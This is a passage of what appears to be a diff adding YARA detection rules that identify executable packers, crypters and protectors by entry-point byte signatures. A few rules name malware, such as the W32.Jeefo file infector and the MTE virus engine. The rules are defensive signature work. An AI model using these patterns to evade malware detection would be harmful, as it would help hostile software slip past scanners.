+		$0 = {55 8B EC 83 EC 2C 53 56 33 F6 57 56 89 75 DC 89 75 F4 BB A4 9E 40 00 FF 15 60 70 40 00 BF C0 B2 40 00 68 04 01 00 00 57 50 A3 AC B2 40 00 FF 15 4C 70 40 00 56 56 6A 03 56 6A 01 68 00 00 00 80 57 FF 15 9C 70 40 00 8B F8 83 FF FF 89 7D EC 0F 84 C3 00 00 00}
+		$1 = {83 EC 0C 53 56 57 FF 15 20 71 40 00 05 E8 03 00 00 BE 60 FD 41 00 89 44 24 10 B3 20 FF 15 28 70 40 00 68 00 04 00 00 FF 15 28 71 40 00 50 56 FF 15 08 71 40 00 80 3D 60 FD 41 00 22 75 08 80 C3 02 BE 61 FD 41 00 8A 06 8B 3D F0 71 40 00 84 C0 74 0F 3A C3 74}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _DIET_v100d_
+{
+	meta:
+		description = "DIET v1.00d"
+	strings:
+		$0 = {FC 06 1E 0E 8C C8 01 ?? ?? ?? BA ?? ?? 03 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PEShit_
+{
+	meta:
+		description = "PEShit"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 83 F9 00 7E 06 80 30 ?? 40 E2 F5 E9 ?? ?? ?? FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PerlApp_602__ActiveState_
+{
+	meta:
+		description = "PerlApp 6.0.2 -> ActiveState"
+	strings:
+		$0 = {68 2C EA 40 00 FF D3 83 C4 0C 85 C0 0F 85 CD 00 00 00 6A 09 57 68 20 EA 40 00 FF D3 83 C4 0C 85 C0 75 12 8D 47 09 50 FF 15 1C D1 40 00 59 A3 B8 07 41 00 EB 55 6A 08 57 68 14 EA 40 00 FF D3 83 C4 0C 85 C0 75 11 8D 47 08 50 FF 15 1C D1 40 00 59 89 44 24 10 EB 33 6A 09 57 68 08 EA 40 00 FF D3 83 C4 0C 85 C0 74 22 6A 08 57 68 FC E9 40 00 FF D3 83 C4 0C 85 C0 74 11 6A 0B 57 68 F0 E9 40 00 FF D3 83 C4 0C 85 C0 75 55}
+		$1 = {68 9C E1 40 00 FF 15 A4 D0 40 00 85 C0 59 74 0F 50 FF 15 1C D1 40 00 85 C0 59 89 45 FC 75 62 6A 00 8D 45 F8 FF 75 0C F6 45 14 01 50 8D 45 14 50 E8 9B 01 00 00 83 C4 10 85 C0 0F 84 E9 00 00 00 8B 45 F8 83 C0 14 50 FF D6 85 C0 59 89 45 FC 75 0E FF 75 14 FF 15 78 D0 40 00 E9 C9 00 00 00 68 8C E1 40 00 FF 75 14 50}
+	condition:
+		$0 or $1
+}
+rule _BeRoEXEPacker_v100_LZMA__BeRo__Farbrausch_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 [LZMA] -> BeRo / Farbrausch"
+	strings:
+		$0 = {60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 04 00 00 00 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8}
+	condition:
+		$0 at entrypoint
+}
+rule _AcidCrypt_
+{
+	meta:
+		description = "AcidCrypt"
+	strings:
+		$0 = {60 B9 ?? ?? ?? 00 BA ?? ?? ?? 00 BE ?? ?? ?? 00 02 38 40 4E 75 FA 8B C2 8A 18 32 DF C0 CB}
+		$1 = {BE ?? ?? ?? ?? 02 38 40 4E 75 FA 8B C2 8A 18 32 DF C0 CB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_v13_
+{
+	meta:
+		description = "FSG v1.3"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00}
+	condition:
+		$0 at entrypoint
+}
+rule _YZPack_12__UsAr_
+{
+	meta:
+		description = "YZPack 1.2 --> UsAr"
+	strings:
+		$0 = {4D 5A 52 45 60 83 EC 18 8B EC 8B FC 33 C0 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 83 C0 7C 8B 40 3C AB E9}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Modified_stub_
+{
+	meta:
+		description = "UPX Modified stub"
+	strings:
+		$0 = {79 07 0F B7 07 47 50 47 B9 57 48 F2 AE 55 FF 96 84 ?? 00 00 09 C0 74 07 89 03 83 C3 04 EB D8 FF 96 88 ?? 00 00 61 E9 ?? ?? ?? FF}
+	condition:
+		$0 at entrypoint
+}
+rule _HACKSTOP_v118_
+{
+	meta:
+		description = "HACKSTOP v1.18"
+	strings:
+		$0 = {52 BA ?? ?? 5A EB ?? 9A ?? ?? ?? ?? 30 CD 21 ?? ?? ?? FD 02 ?? ?? CD 20 0E 1F 52 BA ?? ?? 5A EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v260b1_
+{
+	meta:
+		description = "Armadillo v2.60b1"
+	strings:
+		$0 = {55 8B EC 6A FF 68 50 ?? ?? ?? 68 74 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _AdFlt2_
+{
+	meta:
+		description = "AdFlt2"
+	strings:
+		$0 = {68 00 01 9C 0F A0 0F A8 60 FD 6A 00 0F A1 BE ?? ?? AD}
+	condition:
+		$0 at entrypoint
+}
+rule _NET_DLL__Microsoft_
+{
+	meta:
+		description = ".NET DLL -> Microsoft"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 5F 43 6F 72 44 6C 6C 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C 00 00 ?? 00 00 FF 25}
+	condition:
+		$0
+}
+rule _EXECryptor_vxxxx_
+{
+	meta:
+		description = "EXECryptor vx.x.x.x"
+	strings:
+		$0 = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 B8 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41}
+	condition:
+		$0 at entrypoint
+}
+rule _SoftSentry_v211_
+{
+	meta:
+		description = "SoftSentry v2.11"
+	strings:
+		$0 = {55 8B EC 83 EC ?? 53 56 57 E9 50}
+	condition:
+		$0 at entrypoint
+}
+rule _RECrypt_v07x__Crudd_RET_h2_
+{
+	meta:
+		description = "RE-Crypt v0.7x -> Crudd [RET] (h2)"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 55 81 04 24 0A 00 00 00 C3 8B F5 81 C5 ?? ?? 00 00 89 6D 34 89 75 38 8B 7D 38 81 E7 00 FF FF FF 81 C7 48 00 00 00 47 03 7D 60 8B 4D 5C 83 F9 00 7E 0F 8B 17 33 55 58 89 17 83 C7 04 83 C1 FC EB EC 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_JDPack_1x__JDProtect_09__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [JDPack 1.x / JDProtect 0.9] --> Anorganix"
+	strings:
+		$0 = {60 E8 22 00 00 00 5D 8B D5 81 ED 90 90 90 90 2B 95 90 90 90 90 81 EA 06 90 90 90 89 95 90 90 90 90 83 BD 45 00 01 00 01 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _AsCrypt_v01__SToRM__1_
+{
+	meta:
+		description = "AsCrypt v0.1 -> SToRM - #1"
+	strings:
+		$0 = {81 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? E2 ?? EB}
+	condition:
+		$0
+}
+rule _EmbedPE_V100V124__cyclotron_
+{
+	meta:
+		description = "EmbedPE V1.00-V1.24 -> cyclotron"
+	strings:
+		$0 = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _Upack_v033__v034_Beta__Dwing_
+{
+	meta:
+		description = "Upack v0.33 ~ v0.34 Beta -> Dwing"
+	strings:
+		$0 = {59 F3 A5 83 C8 FF 8B DF AB 40 AB 40}
+	condition:
+		$0 at entrypoint
+}
+rule _SEAAXE_
+{
+	meta:
+		description = "SEA-AXE"
+	strings:
+		$0 = {FC BC ?? ?? 0E 1F E8 ?? ?? 26 A1 ?? ?? 8B 1E ?? ?? 2B C3 8E C0 B1 ?? D3 E3}
+	condition:
+		$0 at entrypoint
+}
+rule _Aluwain_v809_
+{
+	meta:
+		description = "Aluwain v8.09"
+	strings:
+		$0 = {8B EC 1E E8 ?? ?? 9D 5E}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Lockless_Intro_Pack__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Lockless Intro Pack] --> Anorganix"
+	strings:
+		$0 = {2C E8 EB 1A 90 90 5D 8B C5 81 ED F6 73 90 90 2B 85 90 90 90 90 83 E8 06 89 85 FF 01 EC AD E9}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Borland_Delphi_Setup_Module__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Borland Delphi Setup Module] --> Anorganix"
+	strings:
+		$0 = {55 8B EC 83 C4 90 53 56 57 33 C0 89 45 F0 89 45 D4 89 45 D0 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PrivateEXE_v20a_
+{
+	meta:
+		description = "PrivateEXE v2.0a"
+	strings:
+		$0 = {06 60 C8 ?? ?? ?? 0E 68 ?? ?? 9A ?? ?? ?? ?? 3D ?? ?? 0F ?? ?? ?? 50 50 0E 68 ?? ?? 9A ?? ?? ?? ?? 0E}
+		$1 = {53 E8 ?? ?? ?? ?? 5B 8B C3 2D ?? ?? ?? ?? 50 81 ?? ?? ?? ?? ?? 8B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsiduim_1304__Obsiduim_Software_
+{
+	meta:
+		description = "Obsiduim 1.3.0.4 -> Obsiduim Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v085f_
+{
+	meta:
+		description = "tElock v0.85f"
+	strings:
+		$0 = {60 E8 02 00 00 00 CD 20 E8 00 00 00 00 5E 2B C9 58 74 02}
+	condition:
+		$0 at entrypoint
+}
+rule _UpxLock_10__12__CyberDoom__TeamX__BoB__BobSoft_
+{
+	meta:
+		description = "Upx-Lock 1.0 - 1.2 --> CyberDoom / Team-X & BoB / BobSoft"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 48 12 40 00 60 E8 2B 03 00 00 61}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v190b3_
+{
+	meta:
+		description = "Armadillo v1.90b3"
+	strings:
+		$0 = {55 8B EC 6A FF 68 08 E2 40 00 68 94 95 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_430a__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 4.30a -> Silicon Realms Toolworks"
+	strings:
+		$0 = {44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 41 4E 53 49 29 2C 20 61 70 70 20 73 74 72 69 6E 67 73 20 61 72 65 20 27 25 73 27 20 61 6E 64 20 27 25 73 27 00 00 00 44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 55 4E 49 43}
+	condition:
+		$0
+}
+rule _BamBam_v001__Bedrock_
+{
+	meta:
+		description = "BamBam v0.01 -> Bedrock"
+	strings:
+		$0 = {6A 14 E8 9A 05 00 00 8B D8 53 68 FB ?? ?? 00 E8 6C FD FF FF B9 05 00 00 00 8B F3 BF FB ?? ?? 00 53 F3 A5 E8 8D 05 00 00 8B 3D 03 ?? ?? 00 A1 2B ?? ?? 00 66 8B 15 2F ?? ?? 00 B9 80 ?? ?? 00 2B CF 89 45 E8 89 0D 6B ?? ?? 00 66 89 55 EC 8B 41 3C 33 D2 03 C1}
+	condition:
+		$0
+}
+rule _ORiEN_v211__212__Fisun_Alexander_
+{
+	meta:
+		description = "ORiEN v2.11 - 2.12 -> Fisun Alexander"
+	strings:
+		$0 = {E9 5D 01 00 00 CE D1 CE ?? 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v10801__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.08.01 -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 00 BB 10 ?? 44 00 03 DD 2B 9D}
+		$1 = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 ?? BB 10 ?? 44 ?? 03 DD 2B 9D}
+		$2 = {60 EB ?? 5D EB ?? FF ?? ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _RLPack_10_beta__ap0x_
+{
+	meta:
+		description = "RLPack 1.0 beta -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 F9 01 00 00 89 85 48 02 00 00 5B FF B5}
+		$1 = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 F9 01 00 00 89 85 48 02 00 00 5B FF B5 48 02 00 00 56 FF D3 83 C4 08 8B B5 48 02 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 83 C0 04 89 85 44 02 00 00 EB 7A 56 FF 95 F1 01 00 00 89 85 40 02 00 00 8B C6 EB 4F 8B 85 44 02 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 44 02 00 00 C7 00 20 20 20 00 EB 06 FF B5 44 02 00 00 FF B5 40 02 00 00 FF 95 F5 01 00 00 89 07 83 C7 04 8B 85 44 02 00 00 EB 01 40 80 38 00 75 FA 40 89 85 44 02 00 00 80 38 00 75 AC EB 01 46 80 3E 00 75 FA 46 40 8B 38 83 C0 04 89 85 44 02 00 00 80 3E 01 75 81 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 48 02 00 00 FF 95 FD 01 00 00 61 68 ?? ?? ?? ?? C3 60 8B 74 24 24 8B 7C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _y0das_Crypter_v11_
+{
+	meta:
+		description = "y0da's Crypter v1.1"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 8A 1C 40 00 B9 9E 00 00 00 8D BD 4C 23 40 00 8B F7 33}
+	condition:
+		$0 at entrypoint
+}
+rule _Adys_Glue_v010_
+{
+	meta:
+		description = "Ady`s Glue v0.10"
+	strings:
+		$0 = {2E 8C 06 ?? ?? 0E 07 33 C0 8E D8 BE ?? ?? BF ?? ?? FC B9 ?? ?? 56 F3 A5 1E 07 5F}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXShit_006_
+{
+	meta:
+		description = "UPXShit 0.06"
+	strings:
+		$0 = {B8 ?? ?? 43 00 B9 15 00 00 00 80 34 08 ?? E2 FA E9 D6 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_CrunchPE_Heuristic__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Crunch/PE Heuristic] --> Anorganix"
+	strings:
+		$0 = {55 E8 0E 00 00 00 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 00 00 00 00 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _CRYPT_Version_17_c_Dismember_
+{
+	meta:
+		description = "CRYPT Version 1.7 (c) Dismember"
+	strings:
+		$0 = {0E 17 9C 58 F6 ?? ?? 74 ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _W32Jeefo_PE_File_Infector_
+{
+	meta:
+		description = "W32.Jeefo (PE File Infector)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 83 C4 F4 6A 02 A1 C8 ?? ?? ?? FF D0 E8 ?? ?? ?? ?? C9 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1331__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.1 -> Obsidium Software"
+	strings:
+		$0 = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 01 ?? EB 04 ?? ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 02 ?? ?? E8 5F 27 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PolyBox_C__Anskya_
+{
+	meta:
+		description = "PolyBox C -> Anskya"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 56 B8 E4 41 00 10 E8 3A E1 FF FF 33 C0 55 68 11 44 00 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 6A 0A 68 20 44 00 10 A1 1C 71 00 10 50 E8 CC E1 ?? ?? ?? ?? 85 DB 0F 84 77 01 00 00 53 A1 1C 71 00 10 50 E8 1E E2 FF FF 8B F0 85 F6 0F 84 61 01 00 00 53 A1 1C 71 00 10 50 E8 E0 E1 FF FF 85 C0 0F 84 4D 01 00 00 50 E8 DA E1 FF FF 8B D8 85 DB 0F 84 3D 01 00 00 56 B8 70 80 00 10 B9 01 00 00 00 8B 15 98 41 00 10 E8 9E DE FF FF 83 C4 04 A1 70 80 00 10 8B CE 8B D3 E8 E1 E1 FF FF 6A 00 6A 00 A1 70 80 00 10 B9 30 44 00 10 8B D6 E8 F8 FD FF FF}
+	condition:
+		$0
+}
+rule _StarForce_Protection_Driver__Protection_Technology_
+{
+	meta:
+		description = "StarForce Protection Driver -> Protection Technology"
+	strings:
+		$0 = {57 68 ?? 0D 01 00 68 00 ?? ?? 00 E8 50 ?? FF FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PolyEnE_V001p__Lennart_Hedlund_
+{
+	meta:
+		description = "PolyEnE V0.01+ -> Lennart Hedlund"
+	strings:
+		$0 = {50 6F 6C 79 45 6E 45 00 4D 65 73 73 61 67 65 42 6F 78 41 00 55 53 45 52 33 32 2E 64 6C 6C}
+	condition:
+		$0
+}
+rule _PeX_v099_Eng__bartCrackPl_
+{
+	meta:
+		description = "PeX v0.99 (Eng) -> bart/CrackPl"
+	strings:
+		$0 = {E9 F5 00 00 00 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+	condition:
+		$0 at entrypoint
+}
+rule _CDCops_II_
+{
+	meta:
+		description = "CD-Cops II"
+	strings:
+		$0 = {53 60 BD ?? ?? ?? ?? 8D 45 ?? 8D 5D ?? E8 ?? ?? ?? ?? 8D}
+	condition:
+		$0 at entrypoint
+}
+rule _SmartE__Microsoft_
+{
+	meta:
+		description = "SmartE -> Microsoft"
+	strings:
+		$0 = {EB 15 03 00 00 00 ?? 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 8F 07 00 00 89 85 83 07 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 2F 06 00 00 E8 8E 04 00 00 49 0F 88 23 06}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_v098b_DSES_not_saved_
+{
+	meta:
+		description = "aPack v0.98b (DS&ES not saved)"
+	strings:
+		$0 = {8C CB BA ?? ?? 03 DA FC 33 F6 33 FF 4B 8E DB 8D ?? ?? ?? 8E C0 B9 ?? ?? F3 A5 4A 75}
+	condition:
+		$0
+}
+rule _NsPack_14_by_North_Star_Liu_Xing_Ping_
+{
+	meta:
+		description = "NsPack 1.4 by North Star (Liu Xing Ping)"
+	strings:
+		$0 = {8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 2D 01 13 8B 33 03 7B 04 57 51 52 53}
+	condition:
+		$0
+}
+rule _PEArmor_049__Hying_
+{
+	meta:
+		description = "PE-Armor 0.49 -> Hying"
+	strings:
+		$0 = {56 52 51 53 55 E8 15 01 00 00 32 ?? ?? 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Stones_PE_Encryptor_v20_
+{
+	meta:
+		description = "Stone's PE Encryptor v2.0"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 ?? ?? ?? ?? 5D 81 ED 42 30 40 ?? FF 95 32 35 40 ?? B8 37 30 40 ?? 03 C5 2B 85 1B 34 40 ?? 89 85 27 34 40 ?? 83}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Alternative_stub_
+{
+	meta:
+		description = "UPX Alternative stub"
+	strings:
+		$0 = {01 DB 07 8B 1E 83 EE FC 11 DB ED B8 01 00 00 00 01 DB 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 0B}
+	condition:
+		$0 at entrypoint
+}
+rule _NJoiner_01_Asm_Version__NEX_
+{
+	meta:
+		description = "N-Joiner 0.1 (Asm Version) -> NEX"
+	strings:
+		$0 = {6A 00 68 00 14 40 00 68 00 10 40 00 6A 00 E8 14 00 00 00 6A 00 E8 13 00 00 00 CC FF 25 AC 12 40 00 FF 25 B0 12 40 00 FF 25 B4 12 40 00 FF 25 B8 12 40 00 FF 25 BC 12 40 00 FF 25 C0 12 40 00 FF 25 C4 12 40 00 FF 25 C8 12 40 00 FF 25 CC 12 40 00 FF 25 D0 12 40 00 FF 25 D4 12 40 00 FF 25 D8 12 40 00 FF 25 DC 12 40 00 FF 25 E4 12 40 00 FF 25 EC 12 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1311__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.1.1 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 27 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 22 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 01 ?? 8B 00 EB 03 ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 03 ?? ?? ?? 58 EB 03 ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03}
+	condition:
+		$0 at entrypoint
+}
+rule _EXERefactor_V01__random_
+{
+	meta:
+		description = "EXERefactor V0.1 -> random"
+	strings:
+		$0 = {55 8B EC 81 EC 90 0B 00 00 53 56 57 E9 58 8C 01 00 55 53 43 41 54 49 4F 4E}
+	condition:
+		$0 at entrypoint
+}
+rule _WinRAR_32bit_SFX_Module_
+{
+	meta:
+		description = "WinRAR 32-bit SFX Module"
+	strings:
+		$0 = {E9 ?? ?? 00 00 00 00 00 00 90 90 90 ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Enigma_Protector_131_Build_20070615_Dll__Sukhov_Vladimir__Serge_N_Markin_
+{
+	meta:
+		description = "Enigma Protector 1.31 Build 20070615 Dll -> Sukhov Vladimir & Serge N. Markin"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 81 ED ?? ?? ?? ?? E9 49 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8A 84 24 28 00 00 00 80 F8 01 0F 84 07 00 00 00 B8 ?? ?? ?? ?? FF E0 E9 04 00 00 00 ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 81 C0 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 30 10 40 49 0F 85 F6 FF FF FF E9 04 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_MTE_nonencrypted_
+{
+	meta:
+		description = "Vx: MTE (non-encrypted)"
+	strings:
+		$0 = {F7 D9 80 E1 FE 75 02 49 49 97 A3 ?? ?? 03 C1 24 FE 75 02 48}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v15__Vaska_
+{
+	meta:
+		description = "RCryptor v1.5 --> Vaska"
+	strings:
+		$0 = {83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F}
+	condition:
+		$0 at entrypoint
+}
+rule _Enigma_Protector_v112_LITE_
+{
+	meta:
+		description = "Enigma Protector v1.12 LITE"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 ED 06 81 ED ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v123_RC1_
+{
+	meta:
+		description = "ASProtect v1.23 RC1"
+	strings:
+		$0 = {68 01 ?? ?? 00 E8 01 00 00 00 C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PCShrink_v040b_
+{
+	meta:
+		description = "PCShrink v0.40b"
+	strings:
+		$0 = {9C 60 BD ?? ?? ?? ?? 01 ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 6A ?? FF ?? ?? ?? ?? ?? 50 50 2D}
+	condition:
+		$0 at entrypoint
+}
+rule _CopyControl_v303_
+{
+	meta:
+		description = "CopyControl v3.03"
+	strings:
+		$0 = {CC 90 90 EB 0B 01 50 51 52 53 54 61 33 61 2D 35 CA D1 07 52 D1 A1 3C}
+	condition:
+		$0 at entrypoint
+}
+rule _DJoin_v07_public_xor_encryption__drmist_
